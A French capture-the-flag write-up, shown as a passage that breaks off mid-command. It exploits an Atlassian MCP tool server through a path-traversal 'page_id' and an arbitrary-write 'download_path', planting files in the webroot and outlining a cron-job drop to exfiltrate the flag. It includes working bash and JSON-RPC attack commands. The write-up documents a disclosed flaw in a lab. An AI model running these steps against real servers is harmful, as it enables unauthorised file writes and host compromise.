<p>Le lab exposait un serveur MCP Atlassian en SSE sur le port <strong>9000</strong>. L’outil <code class="language-plaintext highlighter-rouge">confluence_download_attachment</code> acceptait un chemin de destination arbitraire, comportement correspondant à la vulnérabilité d’écriture de fichier décrite pour CVE-2026-27825. En parallèle, un serveur HTTP statique sur le port <strong>8080</strong> servait le répertoire <code class="language-plaintext highlighter-rouge">/var/www/html</code> du même environnement que le serveur MCP : cette relation a été vérifiée en écrivant une copie d’une pièce jointe sous <code class="language-plaintext highlighter-rouge">/var/www/html/mer-probe.txt</code>, puis en la lisant via HTTP.</p>

<p>Le chemin vers le flag :</p>

<ol>
  <li>Découverte des services</li>
  <li>Énumération des outils MCP</li>
  <li>Contournement de route par <code class="language-plaintext highlighter-rouge">page_id</code></li>
  <li>Découverte d’une page Confluence valide</li>
  <li>Confirmation de l’écriture arbitraire et du répertoire web partagé</li>
  <li>Dépôt d’une tâche cron au moyen d’une pièce jointe</li>
  <li>Lecture du fichier résultat via le port 8080</li>
</ol>

<hr />

<h2 id="2-cartographie-de-la-cible">2. Cartographie de la cible</h2>

<h3 id="21-scan-tcp-complet">2.1 Scan TCP complet</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-p-</span> <span class="nt">-sV</span> <span class="nt">--open</span> <span class="nt">-T4</span> 176.16.174.39
</code></pre></div></div>

<p><strong>Sortie observée :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.11.15)
9000/tcp open  http    Uvicorn
MAC Address: 06:FF:EA:32:99:87 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p><strong>Interprétation :</strong></p>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Rôle</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>SSH / OpenSSH 8.9p1</td>
      <td>Accès refusé (publickey)</td>
    </tr>
    <tr>
      <td>8080</td>
      <td>HTTP / SimpleHTTPServer Python</td>
      <td>Serveur statique sur <code class="language-plaintext highlighter-rouge">/var/www/html</code></td>
    </tr>
    <tr>
      <td>9000</td>
      <td>HTTP / Uvicorn</td>
      <td>Serveur MCP Atlassian (SSE)</td>
    </tr>
  </tbody>
</table>

<h3 id="22-énumération-web-initiale">2.2 Énumération web initiale</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="se">\</span>
  <span class="nt">-u</span> <span class="s2">"http://176.16.174.39:8080/"</span> <span class="se">\</span>
  <span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt <span class="se">\</span>
  <span class="nt">-x</span> txt,html,json,py,conf,log,bak <span class="se">\</span>
  <span class="nt">-t</span> 20 <span class="se">\</span>
  <span class="nt">-s</span> 200,204,301,302,307,401,403 <span class="se">\</span>
  <span class="nt">-b</span> <span class="s2">""</span>
</code></pre></div></div>

<p><strong>Avant le dépôt du fichier cron :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index.html    (Status: 200) [Size: 35]
</code></pre></div></div>

<p><strong>Après l’exécution de la tâche cron :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)
</code></pre></div></div>

<blockquote>
  <p>La découverte de <code class="language-plaintext highlighter-rouge">flag.txt</code> en 200 confirme que le fichier de sortie créé sous <code class="language-plaintext highlighter-rouge">/var/www/html/flag.txt</code> était accessible au serveur statique. Le doublon <code class="language-plaintext highlighter-rouge">index.html</code> est un artefact de Gobuster avec l’option <code class="language-plaintext highlighter-rouge">-x</code> ; ce n’est pas un second flag.</p>
</blockquote>

<hr />

<h2 id="3-connexion-et-découverte-du-protocole-mcp">3. Connexion et découverte du protocole MCP</h2>

<h3 id="31-transport-sse">3.1 Transport SSE</h3>

<p>L’endpoint SSE fonctionnel :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-N</span> <span class="s2">"http://176.16.174.39:9000/sse"</span>
</code></pre></div></div>

<p><strong>Réponse observée :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>event: endpoint
data: /messages/?session_id=&lt;identifiant-de-session&gt;
</code></pre></div></div>

<p>Il fallait conserver le <code class="language-plaintext highlighter-rouge">session_id</code> fourni, puis envoyer les requêtes JSON-RPC à <code class="language-plaintext highlighter-rouge">/messages/?session_id=...</code>.</p>

<p><strong>Requête d’initialisation :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
  </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"initialize"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"protocolVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2024-11-05"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"capabilities"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"clientInfo"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lab"</span><span class="p">,</span><span class="w"> </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0"</span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Réponse MCP abrégée :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
  </span><span class="nl">"result"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"protocolVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2024-11-05"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"capabilities"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"experimental"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
      </span><span class="nl">"prompts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"listChanged"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">},</span><span class="w">
      </span><span class="nl">"resources"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"subscribe"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nl">"listChanged"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">},</span><span class="w">
      </span><span class="nl">"tools"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"listChanged"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"serverInfo"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mcp-atlassian"</span><span class="p">,</span><span class="w"> </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.26.0"</span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Notification d’initialisation :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w"> </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notifications/initialized"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>Le point d’entrée <code class="language-plaintext highlighter-rouge">/mcp</code> a répondu <code class="language-plaintext highlighter-rouge">HTTP/1.1 404 Not Found</code>. Les échanges suivants ont donc utilisé le transport SSE confirmé.</p>
</blockquote>

<h3 id="32-outils-exposés">3.2 Outils exposés</h3>

<p>L’appel <code class="language-plaintext highlighter-rouge">tools/list</code> a révélé six outils :</p>

<table>
  <thead>
    <tr>
      <th>Outil</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_search</code></td>
      <td>Recherche CQL dans Confluence</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_get_page</code></td>
      <td>Récupération de page par ID</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_list_spaces</code></td>
      <td>Liste des espaces</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_list_attachments</code></td>
      <td>Liste des pièces jointes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_upload_attachment</code></td>
      <td>Upload d’une pièce jointe (<code class="language-plaintext highlighter-rouge">page_id</code>, <code class="language-plaintext highlighter-rouge">filename</code>, <code class="language-plaintext highlighter-rouge">content</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">confluence_download_attachment</code></td>
      <td><strong>Téléchargement vers un chemin local arbitraire</strong> (<code class="language-plaintext highlighter-rouge">attachment_id</code>, <code class="language-plaintext highlighter-rouge">download_path</code>)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Le serveur annonçait la version <code class="language-plaintext highlighter-rouge">mcp-atlassian 1.26.0</code>. L’avis CVE et l’avis GitHub décrivent la vulnérabilité upstream comme affectant les versions antérieures à 0.17.0. L’écart entre ce numéro upstream et le <code class="language-plaintext highlighter-rouge">serverInfo</code> observé empêche d’identifier la version du paquet sous-jacent à partir de cette seule bannière ; le rapport conclut sur le <strong>comportement effectivement testé</strong>.</p>
</blockquote>

<hr />

<h2 id="4-découverte-de-la-page-confluence-et-path-traversal-de-route">4. Découverte de la page Confluence et path traversal de route</h2>

<p>L’espace ENG avait l’identifiant <strong>65540</strong>. Les premiers essais (<code class="language-plaintext highlighter-rouge">page_id=65540</code>, <code class="language-plaintext highlighter-rouge">200000</code>, <code class="language-plaintext highlighter-rouge">200001</code>) ont échoué : 65540 était un ID d’espace, non un ID de page.</p>

<p>Un argument <code class="language-plaintext highlighter-rouge">page_id</code> contenant un segment de remontée a toutefois été interprété comme partie du chemin de l’API interne. La forme à un niveau a permis d’interroger la liste des pages :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
  </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tools/call"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"confluence_get_page"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"page_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"../pages?space-id=65540&amp;limit=100"</span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Sortie utile :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"results"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
    </span><span class="nl">"body"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"storage"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"representation"</span><span class="p">:</span><span class="w"> </span><span class="s2">"storage"</span><span class="p">,</span><span class="w"> </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;p&gt;Sprint planning notes for Q1 2026.&lt;/p&gt;"</span><span class="p">}},</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"101001"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"spaceId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"65540"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"current"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Q1 Sprint Planning"</span><span class="w">
  </span><span class="p">}]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>La page valide était donc <strong>101001</strong>, intitulée <em>Q1 Sprint Planning</em>, dans l’espace ENG.</p>

<p><strong>Récupération des métadonnées de la pièce jointe :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">
  </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tools/call"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"confluence_get_page"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"page_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"../attachments/att200001"</span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Sortie observée :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"fileSize"</span><span class="p">:</span><span class="w"> </span><span class="mi">84</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"att200001"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"mediaType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"text/plain"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"pageId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"101001"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"current"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"meeting-notes.txt"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<hr />

<h2 id="5-confirmation-de-lécriture-arbitraire-et-du-répertoire-web-partagé">5. Confirmation de l’écriture arbitraire et du répertoire web partagé</h2>

<h3 id="50-fonction-shell-réutilisable-helper-mcp">5.0 Fonction shell réutilisable (helper MCP)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">IP</span><span class="o">=</span>176.16.174.39

mcp_call<span class="o">()</span> <span class="o">{</span>
  <span class="nb">local </span><span class="nv">payload</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="nv">rid</span><span class="o">=</span><span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span> log sid pid
  <span class="nv">log</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span><span class="si">)</span>
  curl <span class="nt">-sN</span> <span class="s2">"http://</span><span class="nv">$IP</span><span class="s2">:9000/sse"</span> <span class="o">&gt;</span><span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span> 2&gt;&amp;1 &amp;
  <span class="nv">pid</span><span class="o">=</span><span class="nv">$!</span>
  <span class="k">for </span>_ <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>1 20<span class="si">)</span><span class="p">;</span> <span class="k">do
    </span><span class="nv">sid</span><span class="o">=</span><span class="si">$(</span><span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'s/.*session_id=//p'</span> <span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span> | <span class="nb">head</span> <span class="nt">-n1</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\r'</span><span class="si">)</span>
    <span class="o">[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$sid</span><span class="s2">"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="nb">break
    sleep </span>0.25
  <span class="k">done
  if</span> <span class="o">[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$sid</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">cat</span> <span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span><span class="p">;</span> <span class="nb">kill</span> <span class="s2">"</span><span class="nv">$pid</span><span class="s2">"</span> 2&gt;/dev/null<span class="p">;</span> <span class="nb">rm</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span><span class="p">;</span> <span class="k">return </span>1
  <span class="k">fi

  </span>post_mcp<span class="o">()</span> <span class="o">{</span>
    curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"http://</span><span class="nv">$IP</span><span class="s2">:9000/messages/?session_id=</span><span class="nv">$sid</span><span class="s2">"</span> <span class="se">\</span>
      <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">--data-binary</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">&gt;</span>/dev/null
  <span class="o">}</span>

  post_mcp <span class="s1">'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'</span>
  <span class="nb">sleep </span>1
  post_mcp <span class="s1">'{"jsonrpc":"2.0","method":"notifications/initialized"}'</span>
  post_mcp <span class="s2">"</span><span class="nv">$payload</span><span class="s2">"</span>
  <span class="nb">sleep </span>3
  <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">id</span><span class="se">\"</span><span class="s2">:</span><span class="nv">$rid</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span>
  <span class="nb">kill</span> <span class="s2">"</span><span class="nv">$pid</span><span class="s2">"</span> 2&gt;/dev/null
  <span class="nb">rm</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$log</span><span class="s2">"</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="51-lecturetéléchargement-vers-un-chemin-local">5.1 Lecture/téléchargement vers un chemin local</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mcp_call <span class="s1">'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/opt/app/meeting-notes.txt"}}}'</span> 2
</code></pre></div></div>

<p><strong>Réponse observée :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"attachment_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"att200001"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"meeting-notes.txt"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"size"</span><span class="p">:</span><span class="w"> </span><span class="mi">84</span><span class="p">,</span><span class="w">
  </span><span class="nl">"saved_to"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/opt/app/meeting-notes.txt"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>Cela confirme que <code class="language-plaintext highlighter-rouge">download_path</code> est utilisé comme destination d’écriture, conformément au défaut de validation de chemin décrit par la fiche CVE et l’avis GitHub.</p>
</blockquote>

<h3 id="52-preuve-contrôlée-sur-le-webroot">5.2 Preuve contrôlée sur le webroot</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mcp_call <span class="s1">'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/var/www/html/mer-probe.txt"}}}'</span> 2
</code></pre></div></div>

<p><strong>Réponse MCP :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="p">,</span><span class="w"> </span><span class="err">...</span><span class="p">,</span><span class="w"> </span><span class="nl">"saved_to"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/var/www/html/mer-probe.txt"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Vérification HTTP :</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-i</span> http://176.16.174.39:8080/mer-probe.txt
</code></pre></div></div>

<p><strong>Retour HTTP 200 :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Meeting notes - Q1 sprint planning.
Action items:
- Review backlog
- Assign stories
</code></pre></div></div>

<blockquote>
  <p><strong>Déduction déterminante :</strong> <code class="language-plaintext highlighter-rouge">/var/www/html</code> était accessible en écriture par l’outil MCP <strong>et</strong> exposé par le serveur statique sur le port 8080. Ce canal a fourni la primitive d’exfiltration du résultat cron.</p>
</blockquote>

<h3 id="53-autres-chemins-de-test">5.3 Autres chemins de test</h3>

<table>
  <thead>
    <tr>
      <th>Chemin testé</th>
      <th>Confirmé HTTP 200</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/var/www/html/mer-probe.txt</code></td>
      <td>✅ Oui</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/usr/share/nginx/html/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/srv/www/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/opt/app/static/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/opt/app/public/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/opt/app/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/tmp/mer-probe.txt</code></td>
      <td>❌ Non vérifié publiquement</td>
    </tr>
  </tbody>
</table>

<p><strong>Boucle de test utilisée :</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">n</span><span class="o">=</span>2
<span class="k">for </span>path <span class="k">in</span> <span class="se">\</span>
  /var/www/html/mer-probe.txt <span class="se">\</span>
  /usr/share/nginx/html/mer-probe.txt <span class="se">\</span>
  /srv/www/mer-probe.txt <span class="se">\</span>
  /opt/app/static/mer-probe.txt <span class="se">\</span>
  /opt/app/public/mer-probe.txt <span class="se">\</span>
  /opt/app/mer-probe.txt <span class="se">\</span>
  /tmp/mer-probe.txt
<span class="k">do
  </span><span class="nv">payload</span><span class="o">=</span><span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":int(sys.argv[1]),"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":sys.argv[2]}}}))'</span> <span class="s2">"</span><span class="nv">$n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$path</span><span class="s2">"</span><span class="si">)</span>
  mcp_call <span class="s2">"</span><span class="nv">$payload</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$n</span><span class="s2">"</span>
  <span class="nv">n</span><span class="o">=</span><span class="k">$((</span>n+1<span class="k">))</span>
<span class="k">done</span>
</code></pre></div></div>

<hr />

<h2 id="6-tentatives-écartées">6. Tentatives écartées</h2>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Hypothèse</th>
      <th>Résultat</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Redirection via en-têtes Atlassian</td>
      <td>SSE continuait à renvoyer des erreurs <code class="language-plaintext highlighter-rouge">http://localhost:5000/...</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td>Entrée <code class="language-plaintext highlighter-rouge">/mcp</code></td>
      <td><code class="language-plaintext highlighter-rouge">HTTP 404 Not Found</code> — transport SSE requis</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Accès direct aux flags sur port 8080</td>
      <td>Toutes les URL testées → <code class="language-plaintext highlighter-rouge">404</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td>Routes de téléchargement Confluence devinées (<code class="language-plaintext highlighter-rouge">/download/...</code>, <code class="language-plaintext highlighter-rouge">/attachments/...</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">404</code></td>
    </tr>
    <tr>
      <td>5</td>
      <td>Recherche CQL (<code class="language-plaintext highlighter-rouge">type=attachment</code>, <code class="language-plaintext highlighter-rouge">flag</code>, <code class="language-plaintext highlighter-rouge">meeting</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">{"results": [], "totalSize": 0}</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td>SSH par clé publique (root, ubuntu, local)</td>
      <td><code class="language-plaintext highlighter-rouge">Permission denied (publickey)</code></td>
    </tr>
    <tr>
      <td>7</td>
      <td>Champ <code class="language-plaintext highlighter-rouge">file_path</code> lors de l’upload</td>
      <td>Non exposé dans le schéma — retourne <code class="language-plaintext highlighter-rouge">fileSize: 5</code> (contenu probe uploadé, pas de lecture locale)</td>
    </tr>
  </tbody>
</table>

<p><strong>Commandes de vérification associées :</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Recherches CQL infructueuses</span>
mcp_call <span class="s1">'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment"}}}'</span> 2
mcp_call <span class="s1">'{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND space=ENG"}}}'</span> 3
mcp_call <span class="s1">'{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND text~\"flag\""}}}'</span> 4

<span class="c"># Test du point d'entrée /mcp (streamable HTTP)</span>
curl <span class="nt">-i</span> <span class="nt">-X</span> POST <span class="s2">"http://176.16.174.39:9000/mcp"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Accept: application/json, text/event-stream'</span> <span class="se">\</span>
  <span class="nt">--data-binary</span> <span class="s1">'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'</span>
<span class="c"># → HTTP/1.1 404 Not Found</span>

<span class="c"># Tentatives SSH par clé publique</span>
<span class="k">for </span>user <span class="k">in </span>root ubuntu <span class="nb">local</span><span class="p">;</span> <span class="k">do
  </span>ssh <span class="nt">-i</span> /tmp/mer-lab-key <span class="nt">-o</span> <span class="nv">IdentitiesOnly</span><span class="o">=</span><span class="nb">yes</span> <span class="se">\</span>
    <span class="nt">-o</span> <span class="nv">StrictHostKeyChecking</span><span class="o">=</span>no <span class="se">\</span>
    <span class="nt">-o</span> <span class="nv">UserKnownHostsFile</span><span class="o">=</span>/tmp/mer_known_hosts <span class="se">\</span>
    <span class="s2">"</span><span class="nv">$user</span><span class="s2">@176.16.174.39"</span> <span class="s1">'id'</span>
<span class="k">done</span>
<span class="c"># → Permission denied (publickey) pour les trois comptes</span>

<span class="c"># Chemins HTTP directs</span>
<span class="nv">IP</span><span class="o">=</span>176.16.174.39
<span class="k">for </span>path <span class="k">in</span> /local.txt /proof.txt /flag /flag.txt /robots.txt /.env<span class="p">;</span> <span class="k">do
